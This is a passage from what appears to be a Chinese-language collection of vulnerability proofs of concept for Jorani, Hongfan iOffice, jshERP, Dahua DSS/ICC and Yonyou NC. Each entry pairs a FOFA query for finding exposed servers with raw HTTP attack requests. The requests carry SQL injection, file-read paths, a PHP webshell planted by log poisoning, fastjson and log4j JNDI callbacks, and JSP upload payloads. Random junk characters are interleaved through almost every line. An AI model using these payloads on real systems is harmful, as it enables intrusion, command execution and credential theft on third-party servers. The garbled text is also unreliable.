GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.11 R# l; B; a+ X/ s
Host: 127.0.0.1
- ]- h- W" X- w, HPragma: no-cache
: J) f3 X& j7 P& ECache-Control: no-cache
5 O# r! T/ ~, I! t V. MUpgrade-Insecure-Requests: 1/ m, Z- A6 a1 C" s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36, z$ x# K; @- d! N
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& h, y" }. @5 ] NAccept-Encoding: gzip, deflate
: u6 E: g$ F0 C0 W& ^Accept-Language: zh-CN,zh;q=0.9,en;q=0.86 w T2 A/ z$ _* ^1 e
Connection: close; v* [) {/ P$ ]
2 _& l, p( w% A4 V, {# u) @2 k- y
, F% {& w6 Q5 {8 N% m( K12. Jorani < 1.0.2 远程命令执行
) C; ]3 d, P- y* k' N. ]0 sFOFA:title="Jorani"" a: r+ ?+ _5 u0 p0 H. n7 W/ w
第一步先拿到cookie
' X) [, {- K2 E" W$ z; q- g% b9 cGET /session/login HTTP/1.1
, A; c, {/ E7 F/ J. }! P8 IHost: 192.168.190.30
7 R( o1 q2 @6 bUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
( t' n9 n6 n: a$ u& d3 M4 |! FConnection: close
/ j) N$ Q/ |5 N4 lAccept-Encoding: gzip
* H/ Z. l8 u( W0 k/ }; \/ L \. k `0 S% `
9 s2 G, Z; f1 _$ p1 l8 g* {9 B响应中csrf_cookie_jorani用于后续请求
# H& r4 L8 H2 h* m- e0 Z9 T3 w: X( z/ oHTTP/1.1 200 OK) p6 b. C( b8 N( X+ a
Connection: close' H" \4 p! C& c
Cache-Control: no-store, no-cache, must-revalidate
- @; u% D+ u0 Z4 R4 o, x6 Q b& iContent-Type: text/html; charset=UTF-8
* Y8 H# [" A) NDate: Tue, 24 Oct 2023 09:34:28 GMT# n& y* d+ ^8 s+ U0 A
Expires: Thu, 19 Nov 1981 08:52:00 GMT" S( [6 \' v. d8 f
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
: S+ N( v& `8 P$ P1 M: OPragma: no-cache
' T: V# l7 _- o" O" m. ]+ g5 J+ wServer: Apache/2.4.54 (Debian). f0 J+ d G' x, d' c
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; X* g6 s/ L+ _) ?" L5 s
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly7 ^/ O7 t& F" L
Vary: Accept-Encoding
% P8 l; [. y9 L6 Q7 W( G" i8 A4 U% W9 o( o* y3 K* G
T1 c# [8 u" {( L: c+ R
POST请求,执行函数并进行base64编码
: Z! ?. w k5 i7 W( T! K3 [' YPOST /session/login HTTP/1.1& n J8 V5 M# d/ H% G# ]+ r5 C
Host: 192.168.190.30
/ k6 T# d1 i4 `1 a( jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
: J, ^% p }& l! e" P0 U. O5 N- KConnection: close' b6 p' w- Z6 {$ L8 K1 y2 b _" z
Content-Length: 252% z* H" D. ~4 y ~! J$ o' n- n
Content-Type: application/x-www-form-urlencoded( A- g4 u. {3 U: g: ^
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r3 i0 Y* m9 p$ C2 D- N
Accept-Encoding: gzip
$ P+ W; r: r/ }
6 H. h6 H$ e( _) B) R* V6 mcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor! e" a' b" n1 J
; g0 f$ M% b F4 y8 H/ `, P% K) l: L6 w! {$ i. d
: Y* L' ^) f' Z" @向靶场发送如下请求,执行id命令,请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
; W$ y6 N6 t; B; V0 g5 w+ m8 ^' LGET /pages/view/log-2023-10-24 HTTP/1.1
8 U) h& p7 c2 H; e& C9 IHost: 192.168.190.30+ V5 E$ D- K8 I) M* n0 g% c( r2 X
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
) Q# P; X1 o7 `Connection: close
6 r+ s8 O6 X: ?7 ~) }$ h- rCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r& f7 X! x9 e% v+ N
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
! V* V) K7 V7 P' l4 w" C/ a, g7 DX-REQUESTED-WITH: XMLHttpRequest$ F; h7 s( |+ }$ E9 k
Accept-Encoding: gzip
8 H s3 k" D0 i+ I% k P
3 M& s4 E" g" S; \% C/ q) k
1 k8 _( _! q# O2 a! K; J2 u13. 红帆iOffice ioFileDown任意文件读取3 N& |" n9 }$ i7 [: J5 W7 E* C0 D- m
FOFA:app="红帆-ioffice"2 ~* A8 Y8 V8 A. c1 x
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
7 q' r' g+ z( V( m- q- S2 fHost: x.x.x.x( r+ q7 O! `; L3 N! B
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& G( n a" E9 V2 @7 ~2 C" ]- Y$ eConnection: close8 \ A5 {6 _2 H' ^ \: [
Accept: */*
, I H M, X7 [! m/ t& XAccept-Encoding: gzip2 R8 Z, U6 ]( M5 l3 x3 s( l0 S/ n
( O" Y! B3 N. d+ z1 q0 P" h, K
7 r5 \ B( }, g( ^( A$ n( x14. 华夏ERP(jshERP)敏感信息泄露
' v2 U( e" v0 O6 |. }FOFA:body="jshERP-boot"
8 z. |6 I$ O+ j0 l5 w泄露内容包括用户名密码
# z3 h1 u3 y5 e3 PGET /jshERP-boot/user/getAllList;.ico HTTP/1.1* [- W* d, k" F" e# t: S, B) s+ p
Host: x.x.x.x5 E: S. X: z/ T- o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36 g7 K" J. O. Z( i4 M1 s! c" p" A' v
Connection: close
4 |2 X" \' g4 \Accept: */*5 G& N" X" h2 X0 M( z
Accept-Language: en! o% Y7 t. r1 B1 ?3 S3 U
Accept-Encoding: gzip
3 d5 ]0 a& x: F4 V) @8 u1 J% |/ E/ P% A3 b
+ j: P( N, d& F& y" o
15. 华夏ERP getAllList信息泄露
5 `+ r1 |: V. K3 x& d1 fCVE-2024-0490& J2 `1 U6 v7 Q. \, q! ^
FOFA:body="jshERP-boot"
' h [, ]# a* O* f0 B) J泄露内容包括用户名密码- T9 |7 x* ]5 F) Q+ ?
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
0 r( ?3 d A4 {$ H" H4 K7 NHost: 192.168.40.130:100
* s1 U, x5 S) F" a6 `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
2 Y1 H0 d# C; {$ i+ cConnection: close
8 Y* {: g6 A m8 O zAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8. o$ D8 l# W$ F
Accept-Language: en
; d( e& v; d; F1 k' `/ U, k2 Dsec-ch-ua-platform: Windows
* w- l) H! {8 w5 hAccept-Encoding: gzip
( g5 l& }8 Y: i- S% V" A6 J3 f1 |: ?: D: W; ]; c
; W& X/ K% ~6 l/ L( A% q2 Z
16. 红帆HFOffice医微云SQL注入; j7 u6 D2 T+ v5 f8 X. L: R1 P: D
FOFA:title="HFOffice"
3 [- f o* F" a( T& [poc中调用函数计算1234的md5值
1 U# n& m0 s! W: {0 I XGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.10 C/ R* W: }8 A2 N/ \/ Q5 V
Host: x.x.x.x8 `5 a% y2 M) K9 o- }0 Z8 ]
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36) K7 X% D8 p5 b( x) M
Connection: close
* c7 E# j* U% S' a% c! YAccept: */*+ j. u" s& ]2 F" P
Accept-Language: en$ B* F9 v% H5 q
Accept-Encoding: gzip
) k7 [' m3 A1 `6 G/ j$ Z4 r$ V9 h: M$ e9 B
: U$ ^& s: Y; s
17. 大华 DSS itcBulletin SQL 注入4 P- c/ ~' P/ N3 T/ t7 |1 R" @
FOFA:app="dahua-DSS"& U2 K7 W3 L( Y! S6 s" K- c0 U) e
POST /portal/services/itcBulletin?wsdl HTTP/1.16 x1 r6 m+ F. G* y1 g8 x
Host: x.x.x.x2 t7 y# ]3 K0 O6 ~6 W
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ ]: B: |( J$ K3 f& P) d( ^' EConnection: close) ^- M: `! |9 K/ }) }+ ]
Content-Length: 345+ f6 P/ k% N* }1 U9 V1 X
Accept-Encoding: gzip
: v% S) ~4 \% f5 k3 o. j0 f/ d2 c! [$ |
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
$ E1 {4 g7 q) A a6 T. W<s11:Body>: F1 S: B/ Q+ z9 r" [
<ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
4 \3 V, ?5 L a# }6 ] <netMarkings>" j% G) \4 R& r% k# s
(updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=16 c' J3 `1 P* u8 M
</netMarkings>
$ U: ?/ R0 k% B# _1 [ </ns1:deleteBulletin>* o% l8 O0 ^/ I' k0 @
</s11:Body>
1 v0 c* u% x* _6 n( g9 b4 |; ?</s11:Envelope>
" ?- K" X+ i" [5 j( ~% Z/ }. j6 c' T+ ~$ @/ d; T
0 g8 }2 ~# Q: j5 C' x6 w3 c
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
3 }$ y; J2 }& \0 {FOFA:app="dahua-DSS"
6 e+ z' Q+ @* f$ `/ r3 ^GET /admin/cascade_/user_edit.action?id=1 HTTP/1.12 t3 i* s+ o) a. |1 E
Host: your-ip( ]$ m; y) N, ^7 B$ q
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ L) l( e0 p/ A% H& A7 wAccept-Encoding: gzip, deflate) ?2 g: B' l6 v3 Q) i: `
Accept: */*
) y/ J* u: V8 |Connection: keep-alive
7 h. i$ z* {2 d! A, Y. V" T9 _' j: ?* d& V+ @3 { t5 q
5 m" j/ d# j6 u0 O8 Z3 j2 [6 e- ?' D
( ^) f, [' @( @" W& [19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入. u# w' w, F& ~# ~) g$ Q
FOFA:app="dahua-DSS"0 _, R) U5 w) g
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.10 L2 F0 D& k1 t% w$ W
Host:
- Y5 W9 n* g( e0 k* A4 n4 L6 }! P( D, tUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36! U8 T- R+ a* f L* }5 `) E
Accept-Encoding: gzip, deflate: x2 q3 y+ l4 J% O3 W8 W" @: N
Accept: */*
3 }% }% o9 v7 m0 O% L. r o. YConnection: keep-alive9 F* E3 E9 g# K$ \
p) \) A8 a+ s8 r7 X' b4 V2 R/ O+ u; J$ A% X( `( y
20. 大华ICC智能物联综合管理平台任意文件读取" t2 ^9 H) O" {' l% [8 o9 {1 E& J [
FOFA:body="*客户端会小于800*"- A% O, w4 c$ c- D: g
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
# ~. x7 x) H# {! `1 s a* \6 |1 qHost: x.x.x.x6 ~8 e e* g& g9 @! l" [. |
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36' z' b5 @# S2 k
Connection: close
- G" C% A' `0 M- d, {Accept: */*
8 y2 }; X, `$ o6 F& l9 GAccept-Language: en; b0 y' _* ^9 S) b4 v( C
Accept-Encoding: gzip. L" j" @3 Z, \
" m$ l; a: c; Q, F/ N' l/ C
- L, J4 y, R _, K4 H# J# u% h
21. 大华ICC智能物联综合管理平台random远程代码执行
3 j3 \/ e8 g/ LFOFA:icon_hash="-1935899595"
- m" d b( O% o4 x0 W+ `+ D! }POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
/ D! v1 Q! H& N! i1 F- }Host: x.x.x.x) n1 P$ K9 c! J8 g
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- j# o$ S; g/ x( d3 t! {6 Q1 xContent-Length: 1618 {# A$ v3 Y* M" f! E- ?
Accept-Encoding: gzip( T( ~7 ?* |& r
Connection: close
2 P) }/ x6 P: i9 rContent-Type: application/json;charset=utf-88 `' h% i' ~1 `
0 ]& m% W) q: h9 y! G
{
2 Y& q1 k. k/ i"a":{0 X+ a4 C/ @, F. f/ j' I% m( s+ D
"@type":"com.alibaba.fastjson.JSONObject",
# q+ }* r8 b5 Z4 c2 Q. d {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
' m7 a) R# t' I# K5 Y; f# U8 }( g& { }""
: ?! a# f/ o1 V}# i0 q+ d: W4 I: Y W
0 A) O# e+ F3 c: U* B0 A5 A X' S e( N5 u5 ]$ I. O! J; e" d7 @
22. 大华ICC智能物联综合管理平台 log4j远程代码执行/ L3 q6 J h8 A8 `# }
FOFA:icon_hash="-1935899595"8 [& E& H! u* m" c
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.16 {) z: h D! D6 H
Host: your-ip
+ }3 i' S/ g5 G& S4 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36% S9 I0 s3 \' m
Content-Type: application/json;charset=utf-89 x$ H& }9 C! N; b8 K8 ?& b/ z* ^( I
- c. t3 j e' H; F& T1 J. e
{
2 E3 x( r+ F0 E$ B1 ]"loginName":"${jndi:ldap://dnslog}"( K0 H2 `+ h( l8 v" e9 B
}
9 S' z# h8 e( r8 n# ]
6 \% ] S0 e% |% O2 ^
) q8 U* ?5 f% B& }7 w/ B
# a" I( B# g- v+ @" ^* n23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
e0 k4 \& l3 s. e1 T1 k: n- X6 vFOFA:icon_hash="-1935899595"/ d6 A8 f, E k' {& `' ?' H
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.11 j3 w! t" Y* R2 V: |; a5 d
Host: your-ip7 {; M; \; y+ z1 Q! h7 P
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) S& u9 b( |) m: rContent-Type: application/json;charset=utf-88 Q2 D3 B( f% o1 k* u
Accept-Encoding: gzip% E7 @( I6 ?9 k9 D
Connection: close
( Z* e, Y% ^. E$ }0 h7 `3 n0 o
{# g0 a/ q2 n3 c/ c' N: e. [, O
"a":{4 ~' [- p' |- |" L0 n
"@type":"com.alibaba.fastjson.JSONObject",
9 o. u1 `7 T- @ {"@type":"java.net.URL","val":"http://DNSLOG"}
: W3 u, z0 \% Y4 l$ H3 F! s: j' o }""
& B' s0 d, D5 M2 o}
- K2 O$ h0 u, i( d0 i* c3 }( q3 U8 j0 C3 M) y! R P
2 u0 @/ \: y& x
24. 用友NC 6.5 accept.jsp任意文件上传% Z* b n" b( f
FOFA:icon_hash="1085941792"
6 y9 h2 V7 k: \8 i RPOST /aim/equipmap/accept.jsp HTTP/1.1" f, A3 `7 X p8 ~0 y/ Z
Host: x.x.x.x" e( L" z* Q5 k) f+ G
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.366 U6 b% |; V) y1 J
Connection: close
. j; y0 P' }1 j7 l& {Content-Length: 449$ O- s( b; E' f* j5 Z2 {
Accept: */*
% T S5 e9 w1 H U5 Z* CAccept-Encoding: gzip
2 P; q. y+ d/ u$ M5 aContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc& M0 A" |7 R9 e+ m$ c
* G) f1 \4 @0 q% S" Q7 E7 J-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc) C6 ?) W) c7 a
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
3 C$ d- l& I3 zContent-Type: text/plain
8 z9 S( j( T# ]. ?( h1 X
5 P* e/ S8 n# ]1 E; ]$ B6 [! H<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
* \, u( L4 E& A0 Y-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
$ X+ `( y# [% X7 q9 xContent-Disposition: form-data; name="fname"
8 z# N% U2 n0 K' t
# f) _. E/ h- {\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
+ N1 }- b+ n% {" C( Z9 M-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
* c8 H; w9 l9 h( _9 Z" ]4 ]2 g
+ t" m6 Z# K3 W- s7 F f6 _0 h8 u' @0 F9 ~& J8 l* A5 G7 B3 ]
25. 用友NC registerServlet JNDI 远程代码执行
1 W( y# g9 l* B/ C' V9 UFOFA:app="用友-UFIDA-NC"& g7 @3 |+ |7 T& m$ d Y
POST /portal/registerServlet HTTP/1.1
) { C6 d6 F# i/ \Host: your-ip& C' C& @1 \$ x# F6 @
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
* D% x8 s& E( x7 c: lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
1 `! ^/ X( y: Z9 \: E& T/ g- OAccept-Encoding: gzip, deflate0 {& R" v3 Y/ P9 p* Z
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.64 t4 f! ~9 g1 c k& T
Content-Type: application/x-www-form-urlencoded
$ P1 u2 @4 ?2 p2 I. c7 G( o# X- ? H0 o* s" B
type=1&dsname=ldap://dnslog
5 @4 A7 X* d! P$ `
+ b/ l0 M7 @$ v( ]/ G% q: \0 {+ q6 P- `" t- J) R
$ W W& f+ f! T% j/ {, v# D2 g- A
26. 用友NC linkVoucher SQL注入
, D7 W8 c9 Y; OFOFA:app="用友-UFIDA-NC"- [+ Q1 `8 ~' c: h9 ]
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.10 J- g% g5 I! {7 b8 W
Host: your-ip% N8 A) I U% L2 \' E
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; G7 U; w7 Z4 S! F9 oContent-Type: application/x-www-form-urlencoded
" r n* {3 P/ X/ S9 [" FAccept-Encoding: gzip, deflate# s) B* s2 f4 A; s3 O
Accept: */*
" s6 o9 K3 t/ h- u# ?3 Q* Y7 {- sConnection: keep-alive" h& q: y" X0 p/ O M! c; [
1 M7 [ i6 q8 T1 {
9 J4 U' @) d# A! z, m
27. 用友 NC showcontent SQL注入 l- N% g6 H6 W4 D7 P5 z
FOFA:icon_hash="1085941792"6 p# r. D( Z) e# a2 Q1 {9 D* h* {
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
$ f, d& s$ N. R+ @% z5 F2 JHost: your-ip
# y" z v Y3 d+ xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.363 F g# r& p* w+ u) m+ T
Accept-Encoding: identity
`9 C' ?+ J# r& b" @Connection: close8 x3 a. `6 B6 b7 G+ I
Content-Type: text/xml; charset=utf-87 b) k& j' l5 \! a, x) r) ?
# ~: C3 V% J. c" D+ d
; j- ~. d& d6 i* B1 z28. 用友NC grouptemplet 任意文件上传
- @# o m, L8 \. V% \/ v1 K- g/ @FOFA:icon_hash="1085941792"
; K* g, L1 v4 T- j. {9 MPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.12 ^6 r0 A; L( E9 `- V6 E
Host: x.x.x.x
/ ?) J) o2 J, }4 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36& h7 O4 T6 ]" A
Connection: close
# Z( Q( M" I2 e' c2 X; IContent-Length: 268- ?, }# N+ C6 N
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
" t! u/ A; w" \/ _% k+ pAccept-Encoding: gzip
- f9 q% j$ Y' t. b" [+ R' k
' C! X$ A3 ]! \4 ^4 U# r------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
. E% z4 X( y. W, M4 v; V0 n; s* Q5 }Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
3 Y( `, s8 q% Q x5 \6 vContent-Type: application/octet-stream
1 H9 Z1 R$ N: O
- F+ C, k! Y% f3 {<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
; f# ~1 a* G ~& R0 w& U2 X: x------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
. E9 l: d* Y! f& f$ \* o7 Q9 o& P: ?: Y0 Y7 j
9 a P' p |7 a" s% |# R. Q/uapim/static/pages/nc/head.jsp2 Y4 S: g1 P' E5 \. R& g9 y. m
0 i0 J) m+ n8 u U7 I# M29. 用友NC down/bill SQL注入
4 ]$ Q- u0 q$ t! EFOFA:icon_hash="1085941792" && body="/logo/images/logo.gif"
8 g! {' `, |5 c* |. T) z* y& ]& s9 zGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
! K; ]$ V) _7 f4 NHost: your-ip' v* w' ~8 ~ D0 C s2 n! I- m
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 N, p$ f+ q7 yContent-Type: application/x-www-form-urlencoded/ I# B$ e# r' f1 |
Accept-Encoding: gzip, deflate9 t; j5 y* a$ K
Accept: */*
5 @, Q- o: H3 z u6 P4 i5 V5 dConnection: keep-alive5 G$ q4 f! g/ m& ?3 o
+ T7 T( n8 j1 u9 F0 E. \7 f6 j9 l
4 R: S. m- ? c9 K- ~, |
30. 用友NC importPml SQL注入
# T1 G1 c) q" H, YFOFA:icon_hash="1085941792" && body="/logo/images/logo.gif"$ r8 i6 Y9 f; {7 |- Y
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
% Z u; t6 p- }) N# n! o, L2 PHost: your-ip+ k3 C$ ?/ s, w* z
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
* j! H5 V( z. W) q" u- @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36# M/ _" Y1 ~% m$ H: ~& ]
Connection: close
4 m/ ]& @6 }% Z- s& ]' m3 _* t3 ~+ W/ e* J3 I; A( q- r9 k
------WebKitFormBoundaryH970hbttBhoCyj9V
4 D! c4 H& j4 a; |8 JContent-Disposition: form-data; name="Filedata"; filename="1.jpg"/ @4 P5 N) d; B, ]: C! U
Content-Type: image/jpeg
- t( e" l% Z* l; x. \------WebKitFormBoundaryH970hbttBhoCyj9V--
9 r" ^3 i' I- E3 k7 D# Y$ f* {: M3 i9 C5 j4 Z
1 m& V, G" e" y6 g7 U2 h: h
31. 用友NC runStateServlet SQL注入4 O8 ]- W% v( ~% O
version<=6.5; {. U" \: M. K5 ^
FOFA:icon_hash="1085941792" && body="/logo/images/logo.gif") r% V L# ?! \1 [7 K) [
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
! l3 T! m2 b$ @2 s; \Host: host! r4 J$ P; K! a& D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36" E7 G2 k' ]/ ?) Q, ]
Content-Type: application/x-www-form-urlencoded* j( Q& _$ k c( V2 ?
# u' u0 j6 W" Z/ i. g, ]
+ V3 g( `) u; z8 N- B `
32. 用友NC complainbilldetail SQL注入
- k9 P/ q x6 tversion= NC633、NC65( M, F. R* r0 n' e' P
FOFA:app="用友-UFIDA-NC"" T( |/ s! W$ G2 I6 O, d
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
; a& O, n7 Z9 qHost: your-ip
( ]$ B# r8 e% F4 l5 {1 z, v, MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" ~- b" K9 @" y. l2 Z
Content-Type: application/x-www-form-urlencoded
7 j0 A5 ^$ Z1 A3 J. |- C) ?3 pAccept-Encoding: gzip, deflate, A t, i7 U0 `
Accept: */* Z& N$ }2 \* G; o
Connection: keep-alive# a/ ]& b& E& r5 V7 W! f
! j% N- }' l6 G V) c
5 a4 I* Q$ ?; h+ _" Q3 h33. 用友NC downTax/download SQL注入9 [/ }4 [2 x: A
version:NC6.5FOFA:app="用友-UFIDA-NC"
. j" s( k9 B; f0 N' |GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.14 }1 k% H; d+ O! R: e; m5 v
Host: your-ip0 |3 [$ \+ P$ j' W( s/ J
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ j5 p3 M. p0 `2 IContent-Type: application/x-www-form-urlencoded
( h8 f5 G) m; n, A. R+ J8 mAccept-Encoding: gzip, deflate9 U+ j0 F/ b- g: Q3 b' O6 z
Accept: */* A5 T) R; ]- k8 A
Connection: keep-alive
# d8 b: u+ q( o9 R: @5 T1 N* h" l7 n* Q$ T" s* M
5 `0 n8 J' `0 {% I. T+ g+ i34. 用友NC warningDetailInfo接口SQL注入
" n# K: P l' g$ bFOFA:app="用友-UFIDA-NC"
) Q4 k8 _: J2 z" j) mGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
& j) A9 o. M5 Y; M% A% GHost: your-ip2 C# ?5 L$ C3 N: `' x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: r' Z' {0 L! `: g5 DContent-Type: application/x-www-form-urlencoded
6 R5 Y: W$ H2 ]Accept-Encoding: gzip, deflate9 W1 ]0 m! _1 p5 E# t; R. H
Accept: */*
! j1 g( e& ~4 ^; mConnection: keep-alive
0 m0 A) {9 l$ p6 D3 ~' |3 V* K1 G, s3 x" A5 @; w0 w
: h7 a+ G/ |/ S8 v35. 用友NC-Cloud importhttpscer任意文件上传. v8 t6 g) u, n! q0 e
FOFA:app="用友-NC-Cloud"! p( U5 D1 j; S$ n+ z" m
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1" I$ k4 y+ j9 `) w+ h
Host: 203.25.218.166:8888
